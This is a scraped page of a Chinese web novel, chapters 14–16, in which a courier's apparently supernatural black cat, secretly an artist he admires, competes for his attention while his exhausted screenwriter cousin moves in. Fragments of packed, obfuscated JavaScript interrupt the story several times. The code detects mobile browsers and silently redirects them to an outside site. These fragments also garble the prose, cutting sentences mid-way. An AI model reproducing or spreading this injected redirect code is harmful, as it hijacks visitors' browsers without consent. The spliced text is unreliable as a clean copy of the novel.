l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810517|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财大气粗的付费用户五五开。 以前绘江河还允许用户截屏的时候,平台上不少同人商稿、私稿的例图被截图发送到各大社交平台,引来了很大一股流量,这股流量为绘江河今日的用户群与地位奠定了坚实的基础,所以绘江河在因为几场版权纠纷关掉截屏功能后,给画手们留了一个可以自由决定是否允许用户保存水印例图的功能。 正因如此,绘江河外流的画稿少了,用户却多了不少,很多不在意用户非商用行为的大佬开放了存图权限,将损失的那部分热度补了回来。 观昏晓以前对绘圈不感兴趣,只听一个兼职画画挣钱的朋友说起过绘江河,夸那里氛围好,社区干净,平台推流大方,要不是水平够不上,他更乐意到绘江河当牛马,起码小透明也有推荐位,也能被用户看到,有赞有夸夸。 虽然挑剔的甲方哪里都有,但绘江河的最大方。看在钱的面子上,甲方爹妈说什么都是对的,她们就算要五彩斑斓的黑,他也能用金粉和珠光粉调制出来! 观昏晓也是知道绘江河的调性,昨天才会说砸锅卖铁也要约一张。 就他那点存款,连头部画手的纯风景私稿都约不起,幸好他喜欢的太太因为是新人定了个白菜价……虽然是开水白菜。 “喵呜?” 观昏晓定好开稿日期的闹钟,忽然听见门边响起疑惑的猫叫,他看过去,就见门把手往下一沉,在“咔嗒”一声轻响里打开,紧接着天窍用猫头顶开门板,从门缝间探个脑袋看他。 ……果然成精了。 观昏晓扔开手机,笑眯眯冲它招手:“宝贝儿,你今天给我摘了什么花?” 一句带着低哑尾音的“宝贝儿”叫得天窍耳朵都快飞起来了,它扭头出去,叼起放在地上的桂花乐颠颠小跑进来,跳上/床放进他手里,用鼻子拱了拱他的指尖。 “桂花?”浓郁的香味扑鼻而来,令观昏晓混沌的精神一振,“祁县没什么人种桂花,公园也没有,你到哪里摘的?” 当然是司巍藿那个土豪住的酒店。 天窍并起四爪端端正正地坐直,歪头微笑,将眼尾飞翘的眼线压成笑弧。 观昏晓见状,弹了一下它的尖耳朵:“小机灵鬼。” 吃过早饭,观昏晓见时间还早,便不骑车了,和天窍一起走向桃李街,权当是晨间散步。 身边有个乖巧聪明的小毛球,他本就不少的话更加多了,一路上随便拣个话题就能唠一篇八百字作文,天窍也惯着,句句有回应,这一人一猫有来有回聊天的画面顿时成为整条街最靓丽的风景。 说着说着,观昏晓说到了早上看到的动态,兴致勃勃道:“天窍,我昨天跟你说的那个画手开稿了!定价比我想的高一些,但咬咬牙也约得起!就是稿位少了点,不知道能不能抢得到……” 他说得兴起,全然没发现天窍耷拉着耳朵尾巴,眼睛微眯,脸黑了下去——虽然本来就是黑的。 它暗暗磨牙,恼火地想:那个该死的小妖精是不是故意跟它作对?!非要和他同一天开稿抢它最想要的甲方?! 偏偏观昏晓还不肯告诉它那小妖精是谁,不然……不然它至少知道观昏晓喜欢什么样的画风和画法,以后也好改进啊! 天窍气歪了嘴,狠狠一跺脚,小梅花肉垫下的地板当即炸开一团蛛网似的裂纹,密集且深,发出燃放鞭炮般的巨响。 正在夸画手新例图意境的观昏晓吓了一跳:”嗯?谁家熊孩子这个点放摔炮?” “……” 罪魁祸首“熊猫”转了转耳朵,挪动身子挡住裂痕,然后故作无辜地左顾右盼。 对啊,谁家熊孩子放的? 14. 表哥来了 今天是国庆,街上大部分店铺都早早开门,挂起了特价广告与横幅,超市、商场等地放着各种动感激昂的音乐,力求吸引行人的注意力。 快递业是基础民生行业,这种小长假没人代班就相当于没假,观昏晓只好含泪赚双倍加班费。 节日期间寄件的人不少,这几年来祁县旅游的人逐年增加,国庆第一天就有人往家寄特产和纪念品,都是小件也不费力。 观昏晓一边忙活一边跟客户聊闲天的时候,天窍就趴在货架顶端看他。尾巴从架子边沿垂下,在半空左勾右勾,活像一只黑猫挂钟,尾巴尖就是它的钟摆,与时间流速完美契合。 它看一眼观昏晓,再看一眼搁在旁边桌子上的他的手机,爪子握紧又张开,蠢蠢欲动。 它不翻他的手机,就看看他绘江河的账号,可以吗? 天窍心头刚冒出这句话,一只猫爪就矜持地将其踩了下去。 不可以!乱翻手机会被他讨厌,而且你知道他的密码吗? 天窍撇嘴,新的念头紧跟着浮出:我知道啊,他按密码的时候从来不背着我,我连他的支付密码都知道。 那只猫爪又踩了过来:那也不行!伴侣之间尚且要尊重对方的隐私,何况你们现在还不是伴侣。你不能仗着自己是猫就为所欲为,他不会喜欢这样的人的! 天窍被最后一句话说服,把脑袋也伸出架子边缘,垂头丧气。 观昏晓并不知道它心内的天人交战,送走最后一个顾客后坐回椅子,仰头与天窍低垂的小圆脸相对。 他看了几秒,忽然“噗嗤”一笑:“天窍,你在想什么?看看这脸,都快从苹果皱成苦瓜了。” 天窍幽怨地“喵”一声。 你个罪魁祸首还好意思问! “没睡好?还是早餐没吃饱?”观昏晓长臂一伸,指尖正好触到它的下巴,轻轻搔了搔,“隔壁街有家小吃店,火山石肠和鸡柳炸得不刷酱也很好吃,我点一份,咱们一起吃点?” 望着他深邃宁静的双眼,天窍仿佛看见了铺着粼粼月光的水面,有天大的气也散了个一干二净。 它抖抖毛,扑到观昏晓怀里,贴着他坚实的胸膛用力蹭脸:“喵呜喵呜——” 观昏晓好笑地看着一下精神了的它,屈指弹它耳尖:“你啊,真是六月的天,你的脸,变化无常。” 天窍摊成猫饼,在心里理直气壮地想,就算是六月的天,我也只为你阴晴不定。 观昏晓搂着猫摸过手机,在微信上给早已混熟了的小吃店老板发消息。 观黑白:哥,来五根火山肠,五根鸡柳,三根刷辣酱不剪开,三根不刷酱剪开,谢谢。 观黑白:[转账]40 这吃饭多是一件美事:了解,这会儿店里恰好没客人,我让我家姑娘给你送去。 观黑白:谢谢哥。 火山石肠和鸡柳很快送了过来,天窍的那份剪成小块放在快餐碗里,炸制品特有的香气弥漫在快递点里,喷香冲鼻。 原则上,上班期间员工不能在工位上吃饭。 但领导们今天放假,不查监控,原则就掌握在了观昏晓手里。 他捏着竹签咬一口还很烫的肉肠,油润香辣带一点回甜的味道在味蕾间绽开,好吃到让他舍不得张嘴,只微张唇缝,牙齿虚咬着肉肠,将滚烫的热气从齿缝间呼出去。 天窍叼着一块偏大的鸡柳费劲咀嚼,见他搁那儿吞云吐雾,不知道的还以为是在嚼烟,不禁弯了弯眼睛。 他们正吃着,玻璃门冷不防被人敲了三下,发出“叩叩叩”的轻响。 观昏晓抬头看去,在门外看见了一道熟悉的身影。 “表哥?” 埋头铲肉的天窍耳朵一竖——表哥? 观昏晓随母姓,父亲那边的同辈亲戚对他都是表字辈,父亲去世,母亲出家后,他就独自搬了出来,用父母留给他的钱买了现在住的院子,和两边的亲人都疏远了,只有几个感情一直很好的还在联络,临卿和是其中之一。 临卿和是他父亲大哥的独子,比他年长两岁,高中和大学都就读于北方名校,毕业后也在北方留了几年,后来不知怎么当起了编剧,又长居南边的知名影视城,好些年没回过家了。 两人从小一起长大,观昏晓九岁之前天天跟着临卿和上房揭瓦。那时候临家虽然一堆腌臜事,大人们却都默契地瞒着他们这群小萝卜头,直到后来闹到分家,观昏晓的父亲意外身亡,整个家分崩离析,他们才知晓种种内情,各自分开。 前几年那些觉得观昏晓浪费学历,该找个更好工作的人里,临卿和就是态度最坚决的一个。 他决定裸辞去当编剧的那天晚上喝得酩酊大醉,和观昏晓打了一整晚的电话,东一榔头西一锤子地说着自己的职场遭遇,半宿用来骂老板,半宿用来羡慕观昏晓。 两人最近一次联络是在半年前,临卿和当主编的都市剧《北城有院》播出,获得了不错的收视率和近乎爆炸的讨论度。临卿和凭此一剧拿下今年某大奖的最佳编剧,春风得意,豪情万丈,打电话时话筒里都是各种声线的道贺,嘈杂地连成一片。 然而今天的临卿和与当时观昏晓在电视上看到的他截然不同,穿着发旧的休闲服,头发凌乱,一副有他半张脸那么大的圆框眼镜把本来清秀的眉眼压得呆板,眼下还有两个彰显睡眠不足的黑眼圈,嘴唇发白起皮,脸皮微青。 观昏晓看他第一眼就有种“不得行,这人怕是要猝死”的奇妙预感,忙扔下才吃了一口的火山肠蹿出门外,像扶着七老八十老爷老太似的小心翼翼搀着他进来,拖过沙发椅让他坐着,自己站着。 “表哥,喝点水,缓一缓。” 等临卿和坐稳,观昏晓又跑到对面的小卖部买了瓶牛奶,插上吸管放到他手里。 临卿和的手微微颤抖,一口气干了大半瓶牛奶后长出一口气,嗓音嘶哑:“晓,别那么紧张,我死不了。” 他一张口,观昏晓就仿佛看见袅袅仙气从他口中吐出,距离得道成仙只差一套横店道具服的距离,顿时头皮发麻。 “哥你快把嘴闭上吧。”他说,“吃饭了没有?几天没睡了?为什么突然跑过来找我?” 临卿和抿了抿嘴唇,被下唇的死皮扎了一下,抬手揪掉。 “吃饭了,昨天中午在火车上吃的泡面拌火腿肠,吃完又睡了俩小时……”他按揉眉心,太阳穴的青筋突起一截,突突跳动,“我不是特意来找你,我是在找灵感,正好路过祁县,顺道来看看你。” 短短几句话,信息量比一本书还大。 观昏晓:“……你昨天吃了几顿饭?昨天到现在一共睡了多久?” “一顿,俩小时。”临卿和用一种“你莫不是在消遣洒家”的目光瞅他,“我刚不是说了吗?晓你真健忘,每年记得老老实实做脑科项目的体检。” “哥。”观昏晓长眉一扬,抬手给了他后脑勺清脆响亮的一下,“别操心我,你才该去脑科看看。” “……” 临卿和摸摸后脑勺,正要开口的时候,肚子响了,声如擂鼓,又如闷雷。 于是他闭上嘴,捂住了后知后觉的胃,一脸迷之微笑地看向观昏晓。 “……我给你点外卖吧,你先吃……” 观昏晓本想让他吃自己那份火山肠和鸡柳垫垫,扭头一看上面裹满了秘制辣酱,虽然对他而言不算辣,却能让自家空腹大半天的傻缺表哥窜一下午,无奈闭嘴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810518|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一直在静静旁观的天窍见状,贴心地退开几步,卷起尾巴将快餐碗往前推,同情地看临卿和一眼,然后向观昏晓上下拍打尾巴。 ——这人好可怜一傻子,我的这份给他吃吧。 观昏晓确信自己从天窍眼中看出了这句话。 这年头,猫可比人懂事多了。 天窍只吃了一块肠,底下的没碰过,都是干净的,观昏晓询问了临卿和的意见,他没意见,就把碗里的小吃给他垫了肚子。 至于天窍,观昏晓舍不得它饿着,就用矿泉水涮干净自己那份小吃表面的辣酱,与它分着吃。 一时间,快递点里满是两人一猫吧唧嘴的声音。 半个小时后,临卿和吃完餐前小点、观昏晓点的大份皮蛋瘦肉粥和五个灌汤包,终于心满意足地打个饱嗝,把椅子还给自家表弟,捂着肚子在大厅里溜达消食。 天窍坐在观昏晓腿上优雅舔毛,听观昏晓问:“表哥,你刚刚说的找灵感是怎么回事?” 听到这话,临卿和未语先叹气:“自从《北城有院》大火之后,我多了不少剧本约和改编约——这是我给工作起的名,你领回意思就行。改编么,我没兴趣,也没经验,都拒了,专心写我的原创剧本。但不知道是不是《北城有院》耗光了我的灵气,新剧本我框架拟了,人物设定做完了,开头也写好了,就是剧情怎么都推进不下去。一开始只觉得情节别扭要改,改来改去我发现连句子都不会写了,每写下一句话都要反复斟酌琢磨语序、用词、是否简练、是否有歧义、是否是病句……” 说到这里,临卿和用力抓了把头发,将原本就不整齐的鸟窝发型倒腾得越发凌乱。 “从我开始纠结遣词造句那一刻起,我就知道我不能继续闭门造车了。我一定要走出去,去看真实的人和世界,然后从他们当中找到我心里要写的那些角色和故事。” “所以?”他说得头头是道,天窍都听动容了,观昏晓却板着脸毫无反应。 “所以……我坐了三个多月的火车。” 临卿和也不嫌脏,大大咧咧地往地上一坐,手臂随性地搭在屈起的膝盖上。 “我新剧本的开头是主角搭乘火车回乡下老家……别这么看我,不是年代戏,而是一个在大城市里摸爬滚打十几年,年纪到了被公司‘优化’,带着满心迷茫回家,回到记忆中的童年时代,寻找初心的故事。基调清新活泼,后面是主角努力将破旧的老家收拾干净,种菜种花养鸡养鸭喂狗喂猫的现代田园日常,不存在强行煽情!” 临卿和与观昏晓从小默契到大,只需一个眼神,他就能明白观昏晓的想法,立马叭叭地为自己的剧本……大纲正名。 观昏晓摆摆手:“设想很好,所以你卡在哪儿了?” “卡在想当然了。”临卿和瞄了他怀里聚精会神支楞着耳朵的毛团子一眼,撇嘴,“我做了很多功课,查了很多资料,去过农家乐、山区、乡村取材,明明脑子里有剧情有画面,但就是落不了笔,没办法将它们落到实地,怎么写都感觉轻飘飘的……” “悬浮。”他比手画脚形容一堆,观昏晓用两个字精准概括,“哥,你现在用词确实堆砌了,剧本不能这么写。” 临卿和别过脸,当没听见:“总之我走不近角色,到不了他的生活,这剧本就写不了一点。所以我天南海北到处跑,就想找一个当代桃源,一个能让我慢下来,与角色并肩而行,而不是我写的情节在前面飞,他在后面追的地方过两天。” 观昏晓心里一动:“你找到了吗?” “没有啊。”临卿和微笑,“我要找到了还能在这儿?” 观昏晓点点头,平静地递出安利:“那你要不要在祁县住一段时间?” 15. 阴晴不定 祁县,南方十九线县城,物价低,生活节奏慢,风景虽然不如水乡古城,却也清新自然,旧式建筑、街道与现代高楼融合得浑然一体,很符合临卿和要的感觉——当代桃源。 诚然这里不是乡村,没有新时代的田园风光,但二者给人的感觉是相通的,都是摆脱尘劳困锁后的自在惬意,以及时时刻刻能发现、遇见的生活中的趣味和惊喜。 观昏晓和临卿和这么一解释,顿时让他眼睛一亮,拍着大腿答应:“对啊!我之前怎么没想到呢?一定是瓶颈把我的脑子堵塞住了!” 说着,他的眼神在观昏晓和天窍身上转了一圈,先是一怔,继而恍然大悟,唇角勾起饶有深意的弧度。 之前怎么没发现,表弟和他的猫也很符合自己剧本主角的气质?光是看着这俩只他就觉得某些情节呼之欲出,久违的表达欲像撞开一条闸门缝隙的流水,在他脑海中缓缓洇染开来。 “晓啊,哥求你个事儿。” “可以,房租一月五百,伙食费五百,月结,不收押金。” 临卿和刚起个头,观昏晓便立马接话,顺溜到天窍一时没反应过来,以为上面这几句话是临卿和说的。 临卿和“啧”一声:“虽然我不缺这仨瓜俩枣,但你能不能对你哥我客气点?” 观昏晓眼睛一弯,手指在桌面上轻敲,仿佛捕猎前慵懒算计着怎么用最小力气拿下猎物的狮子。 “哥,我的客气是收费项目,比如对来寄东西的客户我就非常客气。”他伸出手,摊开五根修长莹白的手指,“付钱。” 临卿和“啪”一下给他拍了下去。 “没带现金,微信转你。”他幽怨地强调道,“月结!” 观昏晓懒散地收回手:“行,我家二楼有间书房,里面有一张沙发床。被子枕头去我房间的衣柜底下拿,我每一季都要换床单和睡瘪的枕头,衣柜里的是新买的,你自己拾掇……” “等会儿等会儿,你什么意思?”临卿和越听越觉得不对,指着自己鼻子问:“你是说我花了钱还要自己收拾?” 观昏晓挑眉:“表哥,你去外面租房,房东会帮你收拾屋子吗?” 这句反问有理有据,临卿和蔫了:“好好好,你有道理,我就没一次辩得过你,嘴皮子真利索。” “有理使人声高,表哥,你还有的学呢。”观昏晓掏出钥匙扔过去,“先回家吧,把床铺好睡一觉,你要是真猝死在我这里,我可就说不清了。” 临卿和白他一眼,将钥匙圈勾在食指上转动,往外走了两步又回过身。 “晓,我有个设想,就是把我脑子里最鲜明的几个片段描述出来,找人照着文字剪视频或画画,看能不能有点落地感。你交游广阔,有没有推荐的熟人?” “想要视频你可以去找高水平商剪,这个我帮不了你,我不了解这些。至于画画嘛……” 观昏晓拉长尾音,似乎是在思考什么,天窍敏锐地竖起耳朵,隐约觉得熟悉的气闷感正在赶来的路上。 果不其然,观昏晓的下一句话就是:“我昨天发现了一个神仙画家,画风正好契合你的剧本基调,而且他这个月五号就要开稿了。来来,我把他的主页推荐给你。” 天窍:“……” 好气哦,想把这个月的稿子鸽掉。 天窍郁闷地鼓脸歪嘴,尾巴扫来扫去,但几分钟后,它又因为观昏晓公然上班摸鱼看电视剧,并分给自己一只耳机的举动哄好,美滋滋地巴在他的小臂上。 观昏晓好笑地挠挠它头顶的短毛。 天窍最近越来越喜怒不定了,难道毛孩子也有青春期? 观昏晓漫不经心地想着,耳机里传出的台词却突然将他的注意力抓过去,一人一猫沉浸在开篇的妯娌为钱撕扒大戏里,认真看了下去。 他们看的是《北城有院》。 《北城有院》是一部专讲家长里短、鸡毛蒜皮的都市剧,配角多,各有特点,主角也是人设吸睛,个性鲜明,加上导演和演员的演技加持,整部剧非常精彩,也非常接地气。 不过观众不知道,观昏晓却很清楚,临卿和在创作《北城有院》的剧本时受家庭影响很深,许多老一辈角色身上都有临家人的影子,尤其是老太爷的自私刻薄与小叔被宠得无法无天、自作自受的经历和结局,堪称是他最讨厌的那几位亲戚的集大成者。 换句话说,临卿和的创作极其依赖亲身经历,他有将生活艺术化,再将艺术落地化的能力,却没办法凭空书写一个自己完全不了解,也没体会过的故事,这是他瓶颈的来源。 观昏晓的观剧体验不是很愉快。 这部剧处处不提临家,却处处都是临家的影子。 他九岁那年,临家六个姊妹兄弟闹着分家,老太爷刻薄暴躁,老夫人偏心寡言,在他们两人的偏私下,他的小舅拿到了最多的家产与整栋老宅,联合他们逼走其余人。 彼时观昏晓刚搬出临家,母家不喜欢他叛逆的母亲,连带着不喜他们父子,所以他九岁之前常住临家。 分家纷争刚起那会儿,父亲担心他受这些事情影响,带他搬到了邻省,然后在分家当晚连夜驱车赶回去想劝阻,却因深夜疲劳驾驶出了车祸,当场身亡。 母亲本来已经住进素心庵准备落发,却在得知此事后回来了一趟,带着他到临家抢夺本属于父亲的那份家产——父亲并没有入赘,只是让他随母姓,所以争夺起来名正言顺。 他母亲是名牌大学文学系出身,最高读到博士,婚后开始信佛,口才和学识十分出色。面对一个传统封闭的大家庭与封建自负的大家长,她一番引经据典据理力争,为父亲争到了应得的东西,并全数交给了他。 那是观昏晓第一次觉得,自己在母亲心里的地位越过了她的佛法。 也是唯一一次。 祁县是母亲亲自为他挑选的落脚地,事实证明,这里真的是个好地方,足以保他下半生怡然无忧。只不过自那以后,他就再也没有回临家,也没再见过他的母亲。 观昏晓看《北城有院》的开篇,就像看到了那段分家往事,主角有编剧导演帮开的金手指,虽然气闷却得到了不错的结局,但他看着一点都不觉得爽,只感觉憋屈更甚。 临卿和估计也是这样认为,所以在第一个大剧情收尾时,借主角之口说了一段话: 这辈子活成他们的样子,有钱有地有房,还能踩着别人的头向上爬,家族以外的人知道了,说不定不仅不会厌恶他们的行为,还会羡慕,羡慕自己没有这么丰厚的家资,没有这样的手段。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810519|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观昏晓想起分家后,围绕在临家小舅身旁的那群人,勾了勾嘴角,讥讽一笑。 天窍不知道观昏晓在想什么,却能敏锐地捕捉到他的心绪起伏,原本高潮迭起的剧情在它眼中顿时变得索然无味,转身支起后腿,前爪搭在他脸上,头顶抵着他的下颚温柔磨蹭。 观昏晓一下笑出声,捏着它的后颈皮避了壁:“痒……你怎么净找我有痒痒肉的地方蹭?” 他语调低沉,隐约还能听出一丝不悦,却已经从坏情绪中抽身,不为难自己,也不影响他人。 观昏晓垂眸迎上怀里那小不点担忧的目光,一边暗笑它藏不住事,一边颇为受用,两只拇指顶着它耳根摁压再松开,看着那对尖耳朵重复耷拉又弹起的动作,眼中笑意加深。 他笑眯眯地说:“我没事,继续看剧吧,挺好看的。” “唔?” “真没事。”观昏晓动了动委委屈屈缩在桌子底下的长腿,想了想说:“我想到了些不好的过去……算了,不提它。我现在只想好好过日子,嗯,如果能顺利抢到那位画手五号开的稿位就更好了,招财猫,来,给我一个祝福之吻。” “……” 天窍愤怒地扭身趴回原地,尾巴尖用力拍打他的大腿。 鸽掉!它要把稿子鸽掉! 观昏晓望着天窍圆圆的后脑勺,疑惑挑眉。 怎么又不高兴了?难道是因为他提到了画手?但……为什么呢? …… 家里多了张嘴,观昏晓便比平常多买了不少肉菜,还买了两斤小龙虾——用的是表哥微信转的五个月房租伙食费那5000元。 临卿和一觉睡了七个多小时,醒来时神清气爽,洗漱完就溜达进厨房帮观昏晓打下手,两人边做饭边闲聊,伴随锅碗瓢盆菜刀砧板碰撞的轻响,满满都是生活气。 天窍本来也想进厨房,却被林摹丑以地方太小怕踩到它尾巴为由拎了出去,它在门口转悠半天,实在找不到空隙往里挤,只得无奈地转回客厅。 彼时,观昏晓的手机放在茶几上充电,没有锁屏,离三十分钟自动黑屏也还有一段时间。 天窍窝在沙发上的两只抱枕中间,尾巴一摆一摆,眯着眼专心盯着屏幕上绘江河的APP图标,枕在脑下的爪子蠢蠢欲动。 它心里还有个复读机在不停哔哔:看一下吧,就看个主页,看个ID,不涉及隐私,不影响什么的,你就看一下吧……劳资蜀道山!再不看就…… 天窍鬼使神差地探出前爪,缓缓伸向前方,离手机屏幕仅有一步之遥之际,观昏晓的声音突然像闷雷似的在身后炸响—— “你等我看看手机相册,说不定还能找到存档……” 观昏晓转过沙发,连着充电线将手机拿起,余光朝旁边一扫,捕捉到一只原地起飞的猫影,讶异地挑了挑眉:“天窍,你怎么了?” 天窍四爪落地,以一种僵硬而紧绷的姿势站在抱枕间,蓬松的毛发微微炸开,耳朵与尾巴竖起,一副受到了极大惊吓的应激模样。 直到听见观昏晓的声音,它绷紧的肌肉才放松下去,慢吞吞趴回原位,若无其事地舔舔毛。 “miu呜。” 没事,一点事都没有。 忙去吧。 16. 延期? 虽然不知道天窍为什么生气,但三好主人观昏晓还是拍拍它后背以示安慰,才拿着手机进厨房,给没话找话的表哥看自己的大学毕业照。 七点整,院子里支起餐桌,摆上六菜一汤,暖融融的菜香弥漫开来,光闻着就让人心情愉悦。 临卿和毫无做客的自觉,率先盛饭落座,大快朵颐。吃了半碗饭后还没见表弟人影,他才想起抬头看一看。 彼时,观昏晓正坐在台阶上,把剥好壳的小龙虾撕开,和番茄炒蛋的汤汁、清蒸石斑鱼肉一起拌进饭里。 天窍乖乖蹲坐在他身旁,满脸期待地等待投喂,小脑袋时而抬起时而垂下,一会儿看他一会儿看碗,也忙得慌。 临卿和被这主宠二人逗乐了:“晓,你是宁愿饿着自己也要先喂饱它是吧?” “也不是,我刚做完饭,身上都是油烟味,暂时吃不下。”观昏晓抻直长腿,懒散地一抬眉,有种说不出来的魅力。 临卿和疑惑:“是吗?我怎么不这样?” 观昏晓一脸你还有脸问的表情:“当然是因为你根本不做饭,只帮我洗了点菜,油烟熏得到你吗?” 临卿和讪讪一笑,起身盛了饭放到他的位置:“表弟你辛苦,一会儿多吃点——哦对,碗你就别管了,我来洗,厨房也由我收拾,保证给你拾掇干净!” 观昏晓勾了勾嘴角,天窍却忍不住悄悄冲临卿和翻了个白眼。 好烦,又来一个争宠的! 吃过饭,临卿和去洗碗,观昏晓端着碗小米喂麻雀,手机随手搁在餐桌上,没有锁屏,停在日历界面。 天窍蹑手蹑脚地跳上桌面,做贼似的瞅瞅观昏晓,确认他暂时不会转身,便若无其事地趴下来,将手机半圈在怀里,尾巴一勾一勾,佯装无意地从屏幕上扫过。 在系统日历的5号位置有一个日程标记,天窍左顾右盼,尾尖却精准戳中标记,展开日程的具体内容,再假装不经意地瞥一眼。 ——全天戒备抢稿位。 天窍扭开头,抬起右爪支着脑袋,一脸活猫微死的安详。 喂完麻雀,观昏晓逗了一会儿胖成球的毛团子们,又去舀小半碗米饭撒进水缸,和嘴巴一张一合接米粒的胖鲤鱼大眼瞪小眼。 一人一鱼两看相厌,对视没几秒就各自转身,观昏晓走到桌子前拿手机,看见天窍那妖娆的躺姿,再看屏幕上的日程界面,不禁眯了眯眼睛。 “你偷看我手机?”他顺势坐下,托着下颌似笑非笑地问,“怎么,想查岗啊?那你不该看日程,得看其他社交软件。” “喵呜喵呜喵呜!” 天窍受不了冤枉,一骨碌坐起身,正正经经地发出一连串抑扬顿挫的猫叫,嗓门那叫个清脆亮堂。 对门王阿姨恰好经过,听到这声儿,顿时乐了,敲门道:“小晓啊,已经入夜了,让你家猫大侠注意分贝,当心扰民。” 观昏晓哭笑不得,伸手捏住天窍的鼻子和下颚,牢牢钳住它的嘴巴。 “知道了阿姨,我已经手动帮它消音了。” 王阿姨大笑着回了家。 观昏晓转过眼神,正好迎上天窍圆圆的眼睛,见它还是正经八百,大有自己一松手就喵完一篇博士论文的样子,无奈道:“好好好,你没偷看没查岗,是我说错了。我的手机里没有见不得人的东西,你知道我的锁屏密码,以后想看就大大方方地看,嗯?” 天窍眼珠子一转——这是允许它看手机的意思?那它是不是可以看他绘江河的主页了? 看着这黑毛团子若有所思的眼神,观昏晓再一次感叹,自家这面黑心白的团子真是属漏勺的,完全藏不了心事,也不知道是猫妖还是什么奇奇怪怪的精怪。 能修炼成妖的猫不都挺精明的吗?怎么偏就它一只呆呆的? 咦?他为什么会用这种习惯成自然的句式? 观昏晓松开手,陷入沉思。 可不等他们思索出个所以然来,厨房方向就传出一阵叮铃当啷的交响乐——锅碗瓢盆四样至少打了三样。 观昏晓火烧屁股似的弹起,顿时忘了刚刚纠结的事,一边喊着“表哥你做好打钱的准备”一边飞奔进厨房,两条大长腿迈得嗖嗖的。 天窍也被打断了思绪,低头一看,手机被观昏晓顺手揣走了。 没关系,反正他同意了自己看他手机,晚上再说。 是夜,漆黑的房间里,手机屏幕的亮光照亮一张凝重的猫脸。 天窍看着绘江河界面上硕大的“请登录”三个大字无语凝噎。 每次退出绘江河APP,用户账号都会跟着自动登出,这是默认设置,只要不修改就一直是这样。 显然,观昏晓没事不会点进这个APP,他对约稿不感兴趣,只是单纯喜欢一个画手的画风,自然也懒得管这些细枝末节。 天窍:彳亍。 它愤然按灭屏幕,钻进被子,一拱一拱地拱进观昏晓的臂弯,顶着蹭得乱糟糟的毛发贴在他胸前,在他身上淡淡的沐浴露香味里闭上眼睛。 世界太过冰冷,它要在心爱的两脚兽怀里暖一暖。 接下来几天时间,观昏晓认真上班拿双倍工资,临卿和努力找灵感的同时变着法地给自家表弟挣外快,天窍努力查探观昏晓在绘江河的ID,但它用尽力气和手段,也没等到观昏晓再次登录APP。 开稿的前一夜,天窍终于两腿一蹬,放弃挣扎,在月光下坐了一夜。 书房里的临卿和在说梦话,谢谢各大TV让他获奖,然后笑出了猪叫。 观昏晓一如既往睡得安稳,唯一与平时不同的地方就是紧握在手里的手机——他要确保自己可以第一时间收到某小妖精画手的推送! 天窍仰头望月,只剩一点边边的月亮很是黯淡,将他宽袍广袖的影子拉得又散淡又长,也掩去他面上的失落。 身前矮桌上摊着他的新作,画里下了一场雨,夜色晦暗,路灯昏黄,画中人撑着黑色长柄伞走在雨中,驼色大衣衬得他背影笔挺,地上的水洼映出他被灯晕模糊的面容。 “你什么时候才能看见我呢?”修长的手指抚过画中人被雨打湿的黑发,天窍赧赧道:“我又什么时候才能真正与你相会?” …… “什么?!鸽了?!” 次日一早,正在院子里喂鱼,并试图从它身上那些充满故事感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810520|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花纹里找到灵感的临卿和冷不防被表弟的声音吓了一跳,他仰头看向观昏晓房间的窗户,摇头叹气。 “生活在桃源里的人也不是事事如意,有人和我一样不高兴,我就高兴多了。” 说着,他又撒了一把米饭。 观昏晓并不知道缺德表哥的想法,对着“我喜欢的人心有六窍”的最新动态用力揪头发。 天知道他钱都充进账户了,今天又恰逢周末,他从零点起就一直挂着绘江河的账号,隔两分钟就要看一眼,就等画手开稿直接抢了。 结果千等万等等来的不是稿件橱窗,也不是主页开放的邀请按钮,而是一张新例图和延迟开稿的通知。 虽说例图很好看没错,但一下延期十天是想干嘛?他价位又不高,没必要搞饥饿营销吧?! 观昏晓叹了口气,兴致不高地点开新例图大图,发现可以保存后心情好了些,专心欣赏起原图来。 看着看着,他突然觉得这幅新画有点熟悉,无论画里的人影还是意境,都给他一种阔别多年后重回儿时故地的似曾相识感。 如果记忆没出错的话,观昏晓记得今年二月的一个雨夜,他曾因为沙壁领导胡乱扣钱而心情不好,大晚上的跑出去散心,中途路过了一条和画上背景很像的街道,路灯昏昏,雨色沉沉,他也是穿着驼色大衣,撑着黑色长柄伞,情绪低而闷,与这寂寥的意境颇为契合。 